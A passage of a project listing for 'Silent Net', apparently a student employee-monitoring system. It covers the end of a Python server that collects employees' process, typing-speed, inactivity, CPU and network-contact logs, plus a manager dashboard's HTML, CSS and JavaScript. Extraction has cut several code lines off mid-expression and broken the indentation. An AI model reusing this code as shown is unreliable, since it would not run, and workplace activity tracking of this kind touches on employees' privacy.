    with self.clients_recv_lock:
        for index in range(len(self.clients_connected)):
            _, client_object = self.clients_connected[index]

            if client_object == client:
                del self.clients_connected[index]
                break

    client.close()
    client = None

    with self.clients_recv_lock:
        if len(self.clients_connected) + 1 == self.max_clients:
            self.clients_recv_event.set()

def erase_all_logs(self):
    """Erase all logs from the database"""
    self.log_data_base.delete_all_records_DB()
    clients = self.uid_data_base.get_clients()

    for mac, _ in clients:
        self.log_data_base.client_setup_db(mac)

    print("\nErased all logs")

def quit_server(self):
    """Shut down the server gracefully"""
    self.proj_run = False

def _cleanup(self):
```

File name: server.py

```
"""Clean up server resources before shutdown"""
```

```
self.server_comm.close()
DBHandler.close_DB(self.log_data_base.conn,
self.log_data_base.cursor)
DBHandler.close_DB(self.uid_data_base.conn,
self.uid_data_base.cursor)
```

```
for client_thread, client_sock in self.clients_connected:
    client_sock.close()
    client_thread.join()
```

```
class ClientHandler:
```

```
    """Handles communication with employee clients"""
```

```
def __init__(self, server : SilentNetServer, client : client , mac
: str):
```

```
    self.server = server
    self.client = client
    self.mac = mac
```

```
def process_data(self):
```

```
    """Process data received from employee client"""
    print(f"\nEmployee connected: {self.client.get_ip()}")
```

```
while self.server.proj_run:
```

```
    try:
```

```
        data =
        self.client.protocol_recv(MessageParser.PROTOCOL_DATA_INDEX, decr
```

```
        if data == b'ERR':
            continue
```

```
        if data == b'' or len(data) != 2:
            break
```

```
        log_type, log_params = data[0], data[1]
        log_type = log_type.decode()
```

```
        if log_type in MessageParser.CLIENT_ALL_MSG:
```

```
            self.server.log_data_base.insert_data(self.client.get_address
else:
            self._handle_unsafe_message()
```

```
except Exception as e:
```

```
    print(f"Error from client {self.client.get_address()}:
    {e}")
    print(traceback.format_exc())
    self._handle_unsafe_message()
```

```
self._cleanup_disconnection()
```


File name: server.py

```
def _handle_unsafe_message(self):
    """Handle unsafe/invalid messages from client"""
    disconnect = self.client.unsafe_msg_cnt_inc(self.server.safety)

    if disconnect:
        self.server.log_data_base.delete_mac_records_DB(self.mac)
        self.server.uid_data_base.delete_mac(self.mac)
        print("Disconnecting employee due to unsafe message count")
        return True
    return False

def _cleanup_disconnection(self):
    """Clean up when client disconnects"""
    if self.mac in self.server.macs_connected:
        with self.server.clients_recv_lock:
            self.server.macs_connected.remove(self.mac)

    print(f"\nEmployee disconnected: {self.client.get_ip()}")

class ManagerHandler:
    """Handles communication with manager clients"""

    def __init__(self, server : SilentNetServer, client : str):
        self.server = server
        self.client = client

    def process_requests(self):
        """Process manager requests"""
        print(f"\nManager connected: {self.client.get_ip()}")

        while self.server.proj_run:
            try:
                ret_msg = []
                ret_msg_type = ""
                manager_disconnect = False

                data =
                self.client.protocol_recv(MessageParser.PROTOCOL_DATA_INDEX)
                if data == b'ERR':
                    continue

                if data == b'':
                    break

                msg_type = data[0].decode()
                msg_params = data[1] if len(data) > 1 else ""

                if msg_type == MessageParser.MANAGER_SND_SETTINGS:
                    self._handle_settings_update(msg_params)
                elif msg_type == MessageParser.MANAGER_GET_CLIENTS:
                    ret_msg, ret_msg_type = self._get_client_list()
                elif msg_type == MessageParser.MANAGER_GET_CLIENT_DATA:
```

File name: server.py

```
        ret_msg, ret_msg_type =
            self._get_client_data(msg_params)
    elif msg_type == MessageParser.MANAGER_CHG_CLIENT_NAME:
        ret_msg_type = self._handle_name_change(msg_params)
    elif msg_type == MessageParser.MANAGER_DELETE_CLIENT:
        self._delete_client(msg_params)
    elif msg_type == MessageParser.MANAGER_MSG_EXIT:
        manager_disconnect = True
    else:
        manager_disconnect = self._handle_unsafe_message()

    if ret_msg_type:
        self.client.protocol_send(ret_msg_type, *ret_msg)

    if manager_disconnect:
        break

except Exception as e:
    print(f"Error from manager {self.client.get_ip()}:
    {e}")
    print(traceback.format_exc())
    if self._handle_unsafe_message():
        return

# Return to default settings
self.server.max_clients = 5
self.server.safety = 5

print(f"\nManager disconnected: {self.client.get_ip()}")

def _handle_settings_update(self, msg_params):
    """Handle server settings update from manager"""
    new_max_clients, new_safety =
    MessageParser.protocol_message_deconstruct(msg_params)
    self.server.max_clients, self.server.safety =
    int(new_max_clients), int(new_safety)

    with self.server.clients_recv_lock:
        if len(self.server.clients_connected) >=
        self.server.max_clients:
            self.server.clients_recv_event.clear()
        else:
            self.server.clients_recv_event.set()

def _get_client_list(self):
    """Get list of all clients for manager"""
    clients = self.server.uid_data_base.get_clients()
    ret_msg = []

    for mac, hostname in clients:
        active_percent =
        self.server.log_data_base.get_active_precentage(mac)
        is_connected = 1 if mac in self.server.macs_connected else
```

File name: server.py

0

```
ret_msg.append(f"{hostname},{active_percent},{is_connected}")

return ret_msg, MessageParser.MANAGER_GET_CLIENTS

def _get_client_data(self, msg_params):
    """Get detailed stats for a specific client"""
    client_name = msg_params.decode()
    return [self._get_employee_stats(client_name)],
    MessageParser.MANAGER_GET_CLIENTS

def _get_employee_stats(self, client_name):
    """Generate statistics for a specific employee"""
    mac_addr =
self.server.uid_data_base.get_mac_by_hostname(client_name)

    process_cnt =
self.server.log_data_base.get_process_count(mac_addr)
    inactive_times, inactive_after_last =
self.server.log_data_base.get_inactive_times(mac_addr)
    words_per_min = int(self.server.log_data_base.get_wpm(mac_addr,
    inactive_times, inactive_after_last))

    core_usage, cpu_usage =
self.server.log_data_base.get_cpu_usage(mac_addr)
    ip_cnt =
self.server.log_data_base.get_reached_out_ips(mac_addr)

    data = {
        "processes": {
            "labels": [i[0].decode() for i in process_cnt],
            "data": [i[1] for i in process_cnt]
        },
        "inactivity": {
            "labels": [i[0] for i in inactive_times],
            "data": [int(i[1]) for i in inactive_times if len(i) ==
                2]
        },
        "wpm": words_per_min,
        "cpu_usage": {
            "labels": cpu_usage,
            "data": {
                "cores": sorted(list(core_usage.keys())),
                "usage": [core_usage[core] for core in
                    sorted(core_usage.keys())]
            }
        },
        "ips": {
            "labels": [i[0].decode() for i in ip_cnt],
            "data": [i[1] for i in ip_cnt]
        }
    }
}
```

File name: server.py

```
return json.dumps(data)
```

```
def _handle_name_change(self, msg_params):
    """Handle client name change request"""
    prev_name, new_name =
    MessageParser.protocol_message_deconstruct(msg_params)
    prev_name, new_name = prev_name.decode(), new_name.decode()

    if not
    self.server.uid_data_base.check_user_existence(new_name):
        self.server.uid_data_base.update_name(prev_name, new_name)
        return MessageParser.MANAGER_VALID_CHG
    else:
        return MessageParser.MANAGER_INVALID_CHG
```

```
def _delete_client(self, msg_params):
    """Handle client deletion request"""
    client_name = msg_params.decode()
    mac =
    self.server.uid_data_base.get_mac_by_hostname(client_name)

    self.server.log_data_base.delete_mac_records_DB(mac)
    self.server.uid_data_base.delete_mac(mac)

    if mac in self.server.macs_connected:
        self.server.log_data_base.client_setup_db(mac)
        self.server.uid_data_base.insert_data(mac, client_name)
```

```
def _handle_unsafe_message(self):
    """Handle unsafe/invalid messages from manager"""
    disconnect = self.client.unsafe_msg_cnt_inc(self.server.safety)
    if disconnect:
        print("Disconnecting manager due to unsafe message count")
        return True
    return False
```

```
def main():
    """Main entry point for the server"""
    server = SilentNetServer()
    server.start()
```

```
if __name__ == "__main__":
    main()
```

File name: exit_screen.html

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,
initial-scale=1.0">
  <title>Exit Confirmation</title>
  <link rel="stylesheet" href="{{ url_for('static',
filename='css/exit_screen.css') }}">
</head>
<body>
  <div id="exit-window">
    <h2>Are you sure you want to exit the program?</h2>
    <div class="button-group">
      <button class="exit-btn"
onclick="window.location.href='/exit-program'">Exit</button>
      <button class="cancel-btn"
onclick="window.location.href='{{ previous_screen }}">No, Go Back</b
    </div>
  </div>
</body>
</html>
```

File name: exit_screen.css

```
body {
  margin: 0;
  font-family: 'Arial', sans-serif;
  display: flex;
  justify-content: center;
  align-items: center;
  height: 100vh;
  background: linear-gradient(135deg, #1e1e2f, #2a2a40);
  color: white;
  position: relative;
  overflow: hidden;
}

body::before {
  content: '';
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background: radial-gradient(circle, rgba(255, 255, 255, 0.1) 10%,
    transparent 10.01%);
  background-size: 20px 20px;
  animation: moveBackground 10s infinite linear;
  z-index: -1;
}

@keyframes moveBackground {
  0% { transform: translateY(0); }
  50% { transform: translateY(-10px); }
  100% { transform: translateY(0); }
}

#exit-window {
  background-color: rgba(255, 255, 255, 0.1);
  padding: 30px;
  border-radius: 15px;
  backdrop-filter: blur(5px);
  text-align: center;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.2);
}

h2 {
  font-size: 1.5rem;
  font-weight: 600;
}

.exit-btn, .cancel-btn {
  margin-top: 20px;
  padding: 12px 24px;
  font-size: 1rem;
  font-weight: 500;
  color: #fff;
}
```

File name: exit_screen.css

```
border: none;
border-radius: 12px;
cursor: pointer;
transition: all 0.3s ease;
}

.exit-btn {
    background-color: #e74c3c;
}

.exit-btn:hover {
    background-color: #c0392b;
}

.cancel-btn {
    background-color: #3b82f6;
}

.cancel-btn:hover {
    background-color: #2563eb;
}
```

File name: http_error.html

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,
initial-scale=1.0">
  <title>404 - Page Not Found</title>
  <link rel="stylesheet" href="{{ url_for('static',
filename='css/http_error.css') }}">
</head>
<body>
  <div class="container">
    <h1>404</h1>
    <p><strong>Page Not Found</strong></p>
    <p>The page you're looking for doesn't exist or has been
moved.</p>
    <p>You will be automatically redirected to the previous page in
<span id="countdown">10</span> seconds.</p>
    <a href="#" class="button" id="redirectButton">Go to Previous
page Now</a>
  </div>
  <script src="{{ url_for('static', filename='js/http_error.js')
}}"></script>
</body>
</html>
```


File name: http_error.js

```
let timeLeft = 10;
const countdownElement = document.getElementById('countdown');
const redirectButton = document.getElementById('redirectButton');

const redirectToLoadingScreen = () => {
    window.location.href = "/loading";
};

const timer = setInterval(() => {
    timeLeft--;
    countdownElement.textContent = timeLeft;

    if (timeLeft <= 0) {
        clearInterval(timer);
        redirectToLoadingScreen();
    }
}, 1000);

redirectButton.addEventListener('click', (e) => {
    e.preventDefault();
    clearInterval(timer);
    redirectToLoadingScreen();
});
```

```
body {
  font-family: Arial, sans-serif;
  background-color: #f8f9fa;
  color: #343a40;
  margin: 0;
  padding: 0;
  display: flex;
  justify-content: center;
  align-items: center;
  height: 100vh;
  text-align: center;
}

.container {
  max-width: 600px;
  padding: 20px;
  background-color: #ffffff;
  border-radius: 8px;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

h1 {
  font-size: 48px;
  margin: 0 0 20px;
  color: #dc3545;
}

p {
  font-size: 18px;
  margin: 0 0 20px;
}

a {
  color: #007bff;
  text-decoration: none;
}

a:hover {
  text-decoration: underline;
}

.button {
  display: inline-block;
  padding: 10px 20px;
  font-size: 16px;
  color: #ffffff;
  background-color: #007bff;
  border-radius: 5px;
  text-decoration: none;
  transition: background-color 0.3s ease;
  cursor: pointer;
}
```

File name: http_error.css

```
.button:hover {  
    background-color: #0056b3;  
}
```

```
.countdown {  
    font-size: 16px;  
    color: #6c757d;  
    margin-top: 10px;  
}
```

File name: internal_error.html

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,
initial-scale=1.0">
  <title>500 - Internal Server Error</title>
  <link rel="stylesheet" href="{{ url_for('static',
filename='css/internal_error.css') }}">
</head>
<body>
  <div class="container">
    <h1>500</h1>
    <p><strong>Internal Server Error</strong></p>
    <p>Oops! Something went wrong on our end. We're working to fix
the issue. Please try again later.</p>
    <a href="/loading" class="button">Go to Homepage</a>
  </div>
</body>
</html>
```

File name: internal_error.css

```
body {
  font-family: Arial, sans-serif;
  background-color: #f8f9fa;
  color: #343a40;
  margin: 0;
  padding: 0;
  display: flex;
  justify-content: center;
  align-items: center;
  height: 100vh;
  text-align: center;
}

.container {
  max-width: 600px;
  padding: 20px;
  background-color: #ffffff;
  border-radius: 8px;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

h1 {
  font-size: 48px;
  margin: 0 0 20px;
  color: #dc3545;
}

p {
  font-size: 18px;
  margin: 0 0 20px;
}

a {
  color: #007bff;
  text-decoration: none;
}

a:hover {
  text-decoration: underline;
}

.button {
  display: inline-block;
  padding: 10px 20px;
  font-size: 16px;
  color: #ffffff;
  background-color: #007bff;
  border-radius: 5px;
  text-decoration: none;
  transition: background-color 0.3s ease;
}

.button:hover {
```

File name: internal_error.css

```
background-color: #0056b3;
```

```
}
```

File name: loading_screen.html

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,
initial-scale=1.0">
  <title>Silent Net - Connection</title>
  <link rel="stylesheet" href="{ { url_for('static',
filename='css/loading_screen.css') } }">
</head>
<body>
  <div id="logo">
    
  </div>

  <div id="loading-window">
    <h2>Establishing Secure Connection...</h2>
    <div class="spinner"></div>
    <div class="connection-status">
      <span class="status-icon">■■■</span>
      Server connection policy: Only one active manager session
      permitted
    </div>
    <div class="button-group">
      <button class="connect-btn"
      onclick="manualConnect()">Reconnect</button>
      <button class="exit-btn" onclick="exitProgram()">Exit
      Silent Net</button>
    </div>
  </div>
  <script src="{ { url_for('static', filename='js/loading_screen.js')
  } }"></script>
</body>
</html>
```

File name: loading_screen.js

```
function manualConnect() {  
    fetch('/manual-connect')  
        .then(response => response.json())  
        .then(data => {  
            if (data.status === true) {  
                alert("Connected successfully!");  
                window.location.href = '/';  
            } else {  
                alert("Connection attempt failed. Please try again.");  
            }  
        });  
}  
  
function exitProgram() {  
    window.location.href = "exit";  
}
```


File name: loading_screen.css

```
body {
  margin: 0;
  font-family: 'Arial', sans-serif;
  display: flex;
  justify-content: center;
  align-items: center;
  height: 100vh;
  background: linear-gradient(135deg, #1e1e2f, #2a2a40);
  color: white;
  position: relative;
  overflow: hidden;
}

body::before {
  content: '';
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background: radial-gradient(circle, rgba(255, 255, 255, 0.1) 10%,
    transparent 10.01%);
  background-size: 20px 20px;
  animation: moveBackground 10s infinite linear;
  z-index: -1;
}

@keyframes moveBackground {
  0% { transform: translateY(0); }
  50% { transform: translateY(-10px); }
  100% { transform: translateY(0); }
}

#loading-window {
  display: flex;
  flex-direction: column;
  justify-content: center;
  align-items: center;
  width: 350px;
  padding: 30px;
  background-color: rgba(255, 255, 255, 0.1);
  border-radius: 20px;
  backdrop-filter: blur(10px);
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.2);
  text-align: center;
}

#loading-window h2 {
  margin: 0;
  font-size: 1.5rem;
  font-weight: 600;
  color: #fff;
}
```

File name: loading_screen.css

```
.spinner {
  margin: 25px 0;
  width: 50px;
  height: 50px;
  border: 4px solid rgba(255, 255, 255, 0.3);
  border-top: 4px solid #fff;
  border-radius: 50%;
  animation: spin 1s linear infinite;
}

@keyframes spin {
  0% { transform: rotate(0deg); }
  100% { transform: rotate(360deg); }
}

#logo {
  position: absolute;
  top: 20px;
  right: 20px;
  width: 100px;
}

#logo img {
  width: 100%;
  height: auto;
  filter: drop-shadow(0 0 10px rgba(0, 0, 0, 0.5));
  mix-blend-mode: lighten;
}

.connect-btn, .exit-btn {
  margin-top: 20px;
  padding: 12px 24px;
  font-size: 1rem;
  font-weight: 500;
  color: #fff;
  border: none;
  border-radius: 12px;
  cursor: pointer;
  transition: all 0.3s ease;
}

.connect-btn {
  background-color: #3b82f6;
}

.connect-btn:hover {
  background-color: #2563eb;
  transform: translateY(-2px);
}

.exit-btn {
  background-color: #e74c3c;
```

File name: loading_screen.css

```
}

.exit-btn:hover {
  background-color: #c0392b;
  transform: translateY(-2px);
}

.button-group {
  display: flex;
  gap: 15px;
  margin-top: 20px;
}

.connection-status {
  color: #6c757d;
  font-size: 0.85rem;
  margin: 20px 0;
  text-align: center;
  max-width: 300px;
  margin-left: auto;
  margin-right: auto;
  line-height: 1.5;
  padding: 8px 12px;
  background-color: rgba(255,255,255,0.1);
  border-radius: 4px;
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
}

.status-icon {
  font-size: 1rem;
}

/* For modern browsers that support color-mix */
@supports (color: color-mix(in srgb, white, black)) {
  .connection-status {
    color: color-mix(in srgb, currentColor 70%, #adb5bd);
  }
}
```

File name: name_screen.html

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,
initial-scale=1.0">
  <title>Connected Clients</title>
  <link rel="stylesheet" href="{{ url_for('static',
filename='css/name_screen.css') }}">
</head>
<body>
  
  <button class="refresh-btn" onclick="location.reload();">Refresh
Users</button>
  <button class="settings-btn"
onclick="window.location.href='/settings'">Settings</button>
  <button class="exit-btn"
onclick="window.location.href='/exit'">Exit</button>
  <div id="tooltip" class="tooltip"></div>
  <div class="container">
    {% for name, activity, connected in name_list %}
    <div class="name-card">
      <form action="/stats_screen" method="get"
class="name-form">
        <input type="hidden" name="client_name" value="{{ name
}}">
        <button class="button" type="submit"
onmouseover="showTooltip('{{ name }}')" onmouseout="hideTooltip()"
      <span class="connection-status {% if connected == 1
}%connected{% else %}disconnected{% endif %}"></span>
      {{ name[:18] }}{% if name|length > 18 %}...{% endif
}%}
      </button>
    </form>
    <button class="delete-btn" onclick="deleteName('{{ name
}}')" title="Delete this user">
      <svg viewBox="0 0 24 24" width="18" height="18">
        <path fill="currentColor"
d="M19,4H15.5L14.5,3H9.5L8.5,4H5V6H19M6,19A2,2 0 0,0 8,21H16A
        </svg>
      </button>
    </div>
    {% endfor %}
  </div>
  <script src="{{ url_for('static', filename='js/name_screen.js')
}}"></script>
</body>
</html>
```

File name: name_screen.js

```
function showTooltip(text) {
  const tooltip = document.getElementById('tooltip');
  tooltip.textContent = text;
  tooltip.style.display = 'block';
}

function hideTooltip() {
  const tooltip = document.getElementById('tooltip');
  tooltip.style.display = 'none';
}

function deleteName(name) {
  if (confirm(`Are you sure you want to delete "${name}"?`)) {
    fetch('/delete_client', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
      },
      body: JSON.stringify({ name: name })
    })
    .then(response => response.json())
    .then(data => {
      if (data.success) {
        // Find the exact name card to remove
        const cards = document.querySelectorAll('.name-card');
        cards.forEach(card => {
          const button = card.querySelector('.button');
          if (button && button.textContent.trim() === name ||

              button.textContent.trim() === name + '...') {
            card.remove();
          }
        });
      } else {
        alert('Failed to delete: ' + data.message);
      }
    })
    .catch(error => {
      console.error('Error:', error);
      alert('An error occurred while deleting');
    });
  }
}
```

```
body {
    font-family: Arial, sans-serif;
    margin: 0;
    padding: 0;
    display: flex;
    justify-content: center;
    align-items: center;
    height: 100vh;
    background: linear-gradient(135deg, #1e1e2f, #2a2a40);
    color: #fff;
    position: relative;
    overflow: hidden;
}

body::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: radial-gradient(circle, rgba(255, 255, 255, 0.1) 10%,
    transparent 10.01%);
    background-size: 20px 20px;
    animation: moveBackground 10s infinite linear;
    z-index: -1;
}

@keyframes moveBackground {
    0% { transform: translateY(0); }
    50% { transform: translateY(-10px); }
    100% { transform: translateY(0); }
}

.container {
    display: grid;
    grid-template-columns: repeat(4, 1fr);
    grid-gap: 20px;
    justify-content: center;
    margin: 0 auto;
    padding: 20px;
    max-width: 80%;
}

.button {
    border: 1px solid #e0e0e0;
    padding: 15px 10px;
    cursor: pointer;
    font-size: 16px;
    text-align: center;
    width: 180px;
    border-radius: 10px;
    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
```

File name: name_screen.css

```
transition: all 0.3s ease;
position: relative;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
display: flex;
align-items: center;
justify-content: center;
}

.button:hover {
    transform: translateY(-3px);
    box-shadow: 0 6px 10px rgba(0, 0, 0, 0.15);
}

.button:active {
    transform: translateY(1px);
    box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}

.refresh-btn, .exit-btn {
    display: inline-block;
    margin: 20px 10px;
    padding: 12px 25px;
    font-size: 18px;
    background-color: #007bff;
    color: white;
    border: none;
    cursor: pointer;
    text-align: center;
    border-radius: 8px;
    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
    transition: background-color 0.3s ease, transform 0.3s ease;
}

.refresh-btn:hover, .exit-btn:hover {
    background-color: #0056b3;
    transform: translateY(-3px);
}

.refresh-btn:active, .exit-btn:active {
    transform: translateY(1px);
    box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}

.exit-btn {
    background-color: #dc3545;
}

.exit-btn:hover {
    background-color: #c82333;
}
```

File name: name_screen.css

```
.logo {
  position: absolute;
  top: 20px;
  right: 20px;
  width: 100px;
  filter: drop-shadow(0 0 15px rgba(0, 0, 0, 0.6));
  mix-blend-mode: lighten;
}

.tooltip {
  position: absolute;
  top: 10px;
  left: 50%;
  transform: translateX(-50%);
  background-color: rgba(0, 0, 0, 0.8);
  color: white;
  padding: 10px;
  border-radius: 5px;
  font-size: 16px;
  white-space: nowrap;
  z-index: 1000;
  display: none;
}

/* Add these to your existing name_screen.css */

.name-card {
  position: relative;
  display: flex;
  align-items: center;
  margin-left: 90px;
}

.name-form {
  margin: 0;
}

.delete-btn {
  background: none;
  border: none;
  color: #ff6b6b;
  cursor: pointer;
  padding: 5px;
  margin-left: 5px;
  border-radius: 50%;
  width: 30px;
  height: 30px;
  display: flex;
  align-items: center;
  justify-content: center;
  transition: all 0.3s ease;
}
```


File name: name_screen.css

```
.delete-btn:hover {
    background-color: rgba(255, 107, 107, 0.2);
    transform: scale(1.1);
}

.delete-btn:active {
    transform: scale(0.95);
}

.connection-status {
    display: inline-block;
    width: 12px;
    height: 12px;
    border-radius: 50%;
    margin-right: 10px;
    box-shadow: 0 0 5px currentColor;
    transition: all 0.3s ease;
}

.connection-status.connected {
    background-color: #28a745;
    box-shadow: 0 0 10px #28a745;
}

.connection-status.disconnected {
    background-color: #dc3545;
    box-shadow: 0 0 5px #dc3545;
    opacity: 0.6;
}

.button {
    display: flex;
    align-items: center;
    justify-content: flex-start;
    padding-left: 15px;
}

.settings-btn {
    display: inline-block;
    margin: 20px 10px;
    padding: 12px 25px;
    font-size: 18px;
    background-color: #6c757d;
    color: white;
    border: none;
    cursor: pointer;
    text-align: center;
    border-radius: 8px;
    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
    transition: background-color 0.3s ease, transform 0.3s ease;
}
```

File name: name_screen.css

```
.settings-btn:hover {  
    background-color: #5a6268;  
    transform: translateY(-3px);  
}  
  
.settings-btn:active {  
    transform: translateY(1px);  
    box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);  
}
```

File name: opening_screen.html

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,
initial-scale=1.0">
  <title>Silent Net</title>
  <link rel="stylesheet" href="{{ url_for('static',
filename='css/opening_screen.css') }}">
</head>
<body>
  
  <div class="password-container">
    <form method="POST" action="/check_password">
      <input type="password" class="password-input"
name="password" placeholder="Enter Password">
      <button type="submit" class="submit-button">Submit</button>
    </form>
    <div class="error-message" id="error-message">
      Incorrect password. Please try again.
    </div>
  </div>
  <button class="exit-btn"
onclick="window.location.href='/exit'">Exit</button>
  <script src="{{ url_for('static', filename='js/opening_screen.js')
}}"></script>
</body>
</html>
```

File name: opening_screen.js

```
const urlParams = new URLSearchParams(window.location.search);
const passwordIncorrect = urlParams.get('password_incorrect');

if (passwordIncorrect === 'true') {
    document.getElementById('error-message').style.display = 'block';
}
```

File name: opening_screen.css

```
body {
  margin: 0;
  padding: 0;
  background: linear-gradient(135deg, #1e1e2f, #2a2a40);
  height: 100vh;
  display: flex;
  flex-direction: column;
  justify-content: center;
  align-items: center;
  font-family: 'Arial', sans-serif;
  color: white;
  box-shadow: none;
  outline: none;
  overflow: hidden;
}

.logo {
  width: 300px;
  height: auto;
  margin-bottom: 40px;
  filter: drop-shadow(0 0 15px rgba(0, 0, 0, 0.6));
  mix-blend-mode: lighten;
  animation: float 3s ease-in-out infinite;
}

@keyframes float {
  0%, 100% { transform: translateY(0); }
  50% { transform: translateY(-10px); }
}

.password-container {
  margin-top: 20px;
  display: flex;
  flex-direction: column;
  align-items: center;
}

.password-input {
  width: 250px;
  padding: 10px 15px;
  font-size: 1rem;
  border: 2px solid rgba(255, 255, 255, 0.3);
  border-radius: 10px;
  background: rgba(255, 255, 255, 0.1);
  color: white;
  outline: none;
  backdrop-filter: blur(5px);
  transition: all 0.3s ease-in-out;
}

.password-input:focus {
  border-color: rgba(255, 255, 255, 0.5);
  background: rgba(255, 255, 255, 0.2);
}
```

File name: opening_screen.css

```
    box-shadow: 0px 4px 6px rgba(0, 0, 0, 0.2);
}

.submit-button {
    margin-top: 15px;
    padding: 10px 20px;
    font-size: 1rem;
    border: none;
    border-radius: 10px;
    background: rgba(255, 255, 255, 0.1);
    color: white;
    cursor: pointer;
    backdrop-filter: blur(5px);
    transition: all 0.3s ease-in-out;
}

.submit-button:hover {
    background: rgba(255, 255, 255, 0.2);
    box-shadow: 0px 4px 6px rgba(0, 0, 0, 0.2);
}

.exit-btn {
    margin-top: 20px;
    padding: 10px 20px;
    font-size: 1rem;
    border: none;
    border-radius: 10px;
    background: rgba(255, 255, 255, 0.1);
    color: white;
    cursor: pointer;
    backdrop-filter: blur(5px);
    transition: all 0.3s ease-in-out;
}

.exit-btn:hover {
    background: rgba(255, 255, 255, 0.2);
    box-shadow: 0px 4px 6px rgba(0, 0, 0, 0.2);
}

.error-message {
    margin-top: 15px;
    color: #ff4444;
    font-size: 0.9rem;
    display: none;
    animation: shake 0.5s ease-in-out;
}

@keyframes shake {
    0%, 100% { transform: translateX(0); }
    25% { transform: translateX(-10px); }
    50% { transform: translateX(10px); }
    75% { transform: translateX(-10px); }
}
```

File name: opening_screen.css

```
body::before {
  content: '';
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background: radial-gradient(circle, rgba(255, 255, 255, 0.1) 10%,
    transparent 10.01%);
  background-size: 20px 20px;
  animation: moveBackground 10s infinite linear;
  z-index: -1;
}

.password-input, .submit-button, .exit-btn {
  box-shadow: 0 0 5px rgba(255, 255, 255, 0.2);
}

.password-input:focus, .submit-button:hover, .exit-btn:hover {
  box-shadow: 0 0 10px rgba(255, 255, 255, 0.4);
}
```

File name: settings_screen.html

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,
initial-scale=1.0">
  <title>Settings</title>
  <link rel="stylesheet" href="{{ url_for('static',
filename='css/settings_screen.css') }}">
</head>
<body>
  
  <form action="/submit_settings" method="POST"
class="form-container">
    <div class="slider-container">
      <div class="slider-label">
        <label for="employees-slider">Employees Amount</label>
        <span id="employees-value">1</span>
      </div>
      <input id="employees-slider" name="employees_amount"
type="range" min="1" max="40" value="1" class="slider" oninput="updat
</div>
    <div class="slider-container">
      <div class="slider-label">
        <label for="safety-slider">Safety</label>
        <span id="safety-value">1</span>
      </div>
      <input id="safety-slider" name="safety" type="range"
min="1" max="5" value="1" class="slider" oninput="updateSliderValue('
</div>
    <button type="submit" class="submit-button">Start</button>
  </form>
  <script src="{{ url_for('static', filename='js/settings_screen.js')
}}"></script>
</body>
</html>
```


File name: settings_screen.js

```
function updateSliderValue(sliderId, valueId) {  
    const slider = document.getElementById(sliderId);  
    const valueDisplay = document.getElementById(valueId);  
    valueDisplay.textContent = slider.value;  
}
```

File name: settings_screen.css

```
body {
    margin: 0;
    padding: 0;
    background: linear-gradient(135deg, #1e1e2f, #2a2a40);
    height: 100vh;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
    font-family: 'Arial', sans-serif;
    color: white;
    box-shadow: none;
    outline: none;
    overflow: hidden;
}

.logo {
    width: 300px;
    height: auto;
    margin-bottom: 40px;
    filter: drop-shadow(0 0 15px rgba(0, 0, 0, 0.6));
    mix-blend-mode: lighten;
}

.form-container {
    width: 80%;
    max-width: 600px;
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 30px;
}

.slider-container {
    width: 100%;
    display: flex;
    flex-direction: column;
    align-items: stretch;
}

.slider-label {
    display: flex;
    justify-content: space-between;
    align-items: center;
    font-size: 1.2rem;
    margin-bottom: 10px;
}

.slider {
    width: 100%;
    height: 15px;
    appearance: none;
    background: #dddddd;
```

File name: settings_screen.css

```
border-radius: 5px;
outline: none;
transition: background 0.3s;
}

.slider:hover {
    background: #cccccc;
}

.submit-button {
    margin-top: 20px;
    padding: 10px 30px;
    font-size: 1.2rem;
    color: #ffffff;
    background-color: #007bff;
    border: none;
    border-radius: 5px;
    cursor: pointer;
}

.submit-button:hover {
    background-color: #0056b3;
}

.message {
    font-size: 1.8rem;
    text-align: center;
    color: #ffffff;
    background: rgba(255, 255, 255, 0.1);
    border: 2px solid rgba(255, 255, 255, 0.3);
    border-radius: 15px;
    padding: 20px 40px;
    box-shadow: 0px 4px 6px rgba(0, 0, 0, 0.15);
    font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
    backdrop-filter: blur(10px);
}

.message:hover {
    background: rgba(255, 255, 255, 0.2);
    border-color: rgba(255, 255, 255, 0.5);
    box-shadow: 0px 6px 8px rgba(0, 0, 0, 0.2);
    transition: all 0.3s ease-in-out;
}

body::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: radial-gradient(circle, rgba(255, 255, 255, 0.1) 10%,
    transparent 10.01%);
```

File name: settings_screen.css

```
background-size: 20px 20px;  
animation: moveBackground 10s infinite linear;  
z-index: -1;
```

```
}
```

File name: stats_screen.html

